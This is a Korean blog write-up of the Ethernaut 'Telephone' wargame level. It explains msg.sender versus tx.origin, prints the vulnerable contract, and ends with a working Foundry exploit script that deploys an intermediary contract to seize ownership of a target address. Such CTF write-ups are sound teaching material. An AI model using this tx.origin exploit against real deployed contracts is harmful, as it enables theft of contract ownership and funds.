The Ethernaut : Telephone

세인·2025년 12월 3일

msg.sender

이 변수에는 컨트랙트를 호출한 유저 혹은 컨트랙트의 계정 주소를 담고 있습니다

tx.origin

tx.origin은 트랜잭션을 보낸 계정의 주소를 담고 있습니다

함수를 호출한 계정의 주소를 담는 msg.sender와 다르게 한 트랜잭션 내에서 불변하며, 트랜잭션을 보내는 계정의 주소는 무조건 EOA 계정이므로 컨트랙트가 아닌 오직 유저만이 tx.origin이 될 수 있다는 특징을 가집니다

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

로직 정리

  1. changeOwner를 호출하기 위해서는 tx.origin과 msg.sender가 달라야 함
  2. msg.sender는 외부에서 호출될 때 마다 바뀌는 특성이 있음
    • tx.origin = 맨 처음 트랜잭션 만든 EOA
    • msg.sender = 바로 앞에서 호출한 컨트랙트 주소로 바꿔주면 → 조건 참 → owner 바뀜
  3. 새 컨트랙트를 만들어서 changeOwner를 호출하면 끝

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";
import {Telephone} from "../src/Telephone.sol";

contract Take {
    constructor(Telephone telephone, address addr) {
        telephone.changeOwner(addr);
    }
}

contract PoC is Script {
    Counter public counter;
    address public target = 0x0980cE61703Ef7Cd29a30A600AA8872A997102e0;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);

        new Take(Telephone(target), vm.addr(pk));

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글